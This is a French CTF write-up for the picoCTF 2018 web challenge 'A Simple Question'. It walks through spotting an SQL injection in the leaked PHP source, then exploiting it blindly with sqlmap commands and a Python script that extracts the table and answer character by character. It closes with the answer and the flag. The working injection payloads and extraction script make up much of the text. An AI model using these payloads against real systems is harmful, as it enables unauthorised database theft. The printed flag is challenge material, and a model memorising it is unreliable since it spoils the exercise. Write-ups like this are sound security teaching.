picoCTF 2018: A Simple Question
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| picoCTF 2018 | A Simple Question | Web | 863 | 202 |
Description
There is a website running at http://2018shell2.picoctf.com:28120 (link). Try to see if you can answer its question.
TL;DR
Il s’agissait d’une Blind SQLite injection avec le code source fourni dans les commentaires html.
Méthodologie
Commentaires HTML
La première chose que j’ai faite a été de regarder la page html et le code source html :

Code HTML (Ctrl+U lorsque vous êtes sur la page) :
<!doctype html>
<html>
<head>
<title>Question</title>
<link rel="stylesheet" type="text/css" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="panel panel-primary" style="margin-top:50px">
<div class="panel-heading">
<h3 class="panel-title">A Simple Question</h3>
</div>
<div class="panel-body">
<div>
What is the answer?
</div>
<form action="answer2.php" method="POST">
<!-- source code is in answer2.phps -->
<fieldset>
<div class="form-group">
<div class="controls">
<input id="answer" name="answer" class="form-control">
</div>
</div>
<input type="hidden" name="debug" value="0">
<div class="form-actions">
<input type="submit" value="Answer" class="btn btn-primary">
</div>
</fieldset>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
On peut voir qu’il y a un formulaire avec "answer2.php" comme action.
On peut également voir le commentaire html "source code is in answer2.phps".
Code source PHP
J’ai décidé de vérifier le code source en me rendant sur http://2018shell2.picoctf.com:28120/answer2.phps.
Vue HTML :

Code complet :
<?php
include "config.php";
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');
$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
echo "<pre>";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
?>
<?php
$con = new SQLite3($database_file);
$result = $con->query($query);
$row = $result->fetchArray();
if($answer == $CANARY) {
echo "<h1>Perfect!</h1>";
echo "<p>Your flag is: $FLAG</p>";
}
elseif ($row) {
echo "<h1>You are so close.</h1>";
} else {
echo "<h1>Wrong.</h1>";
}
?>
Notez qu’une partie du code n’est pas visible dans la vue HTML car <?php est interprété comme une balise HTML.
En regardant le code source, on peut voir que la page web affiche chaque erreur :
<?php
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');
?>
On peut également identifier une SQL Injection dans les lignes suivantes :
<?php
$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
?>
On peut également récupérer la version SQL : SQLite3.
Le résultat de la requête SQL est stocké dans $row mais jamais affiché. Cependant, s’il y a un résultat ($row n’est pas vide), on obtient le message "You are so close.". En cas d’absence de résultat, on obtient le message "Wrong.". Ce comportement peut être exploité avec une Blind SQL Injection.
Tests
Test avec la valeur "test" comme recherche :

Résultat :

Essayons d’obtenir une réponse vraie (True) avec un simple ' OR '1'='1 :

Résultat :

On peut voir que notre requête est bien modifiée : SELECT * FROM answers WHERE answer='' OR '1'='1' qui renvoie toutes les réponses et qui est vraie.
Exploitation
Il y a deux façons d’exploiter cette Blind SQLite injection : la fainéante, et la vraie ! Commençons par la solution fainéante.
Solution fainéante
Installez SQLmap (préinstallé sur Kali linux). Lancez-le comme un script kiddie (vous pouvez aussi spécifier des options) :
Script Kiddie :
sqlmap -u "http://2018shell2.picoctf.com:28120/" --form --dump-all
OU spécifiez des options (voir la documentation SQLMap) :
sqlmap -u "http://2018shell2.picoctf.com:28120/answer2.php" --data="answer=*" --dbms=SQLite --dbs
sqlmap -u "http://2018shell2.picoctf.com:28120/answer2.php" --data="answer=*" --dbms=SQLite -D SQLite --tables
sqlmap -u "http://2018shell2.picoctf.com:28120/answer2.php" --data="answer=*" --dbms=SQLite -D SQLite -T answers --dump
Sortie :
Database: SQLite_masterdb
Table: answers
[1 entry]
+----------------+
| answer |
+----------------+
| 41AndSixSixths |
+----------------+
Solution hacker
J’ai décidé de le scripter et de l’exploiter moi-même. Voici mon premier test booléen en python :
import requests
import string
url = "http://2018shell2.picoctf.com:28120/answer2.php"
s = requests.session()
def isTrue(r):
return "You are so close" in r.text or "flag" in r.text
def inject(i):
data = {
"answer":i,
"debug":"0"
}
r = s.post(url,data)
return isTrue(r)
def p_inject(i):
res = inject(i)
print(i+" => "+str(res))
return res
p_inject("' OR 1=0 --") # Note, we use SQLite comment "--"
p_inject("' OR 1=1 --")
Voici mon script complet :
import requests
import string
url = "http://2018shell2.picoctf.com:28120/answer2.php"
s = requests.session()
def isTrue(r):
return "You are so close" in r.text or "flag" in r.text
def inject(i):
data = {
"answer":i,
"debug":"0"
}
r = s.post(url,data)
return isTrue(r)
def p_inject(i):
res = inject(i)
print(i+" => "+str(res))
return res
for i in range(5):
p_inject("' OR 1=1 AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) = "+str(i)+" --")
# ==> Only 1 table
for i in range(10):
p_inject("' OR 1=1 AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0) = "+str(i)+" --")
# ==> Table name is 7 chars
tableName = ""
for i in range(7):
for c in string.printable:
r = p_inject("' OR 1=1 and (SELECT hex(substr(tbl_name,"+str(i+1)+",1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('"+str(c)+"') --")
if r:
tableName += c
break
print("Table name: "+str(tableName))
# ==> Table name is "answers"
for i in range(10):
p_inject("' OR 1=1 AND (SELECT 1 FROM answers ORDER BY "+str(i)+") --")
# ==> Answer has 1 column
for i in range(10):
p_inject("' OR 1=1 AND (SELECT count(*) FROM answers ) = "+str(i)+" --")
# ==> Answer has 1 record
p_inject("' OR 1=1 AND (SELECT 1 FROM answers ORDER BY answer) --")
# ==> Answer has 1 column named "answer" (guessing)
for i in range(15):
p_inject("' OR 1=1 AND (SELECT length(answer) FROM answers) = "+str(i)+" --")
# ==> Length of answer is 14
answer = ""
for i in range(14):
for c in string.printable:
r = p_inject("' OR 1=1 and (SELECT hex(substr(answer,"+str(i+1)+",1)) FROM answers) = hex('"+str(c)+"') --")
if r:
answer += c
break
print("Answer: "+str(answer))
Sortie : Answer: 41AndSixSixths
Réponse
Envoi de la réponse :

Résultat :

Flag
picoCTF{qu3stions_ar3_h4rd_73139cd9}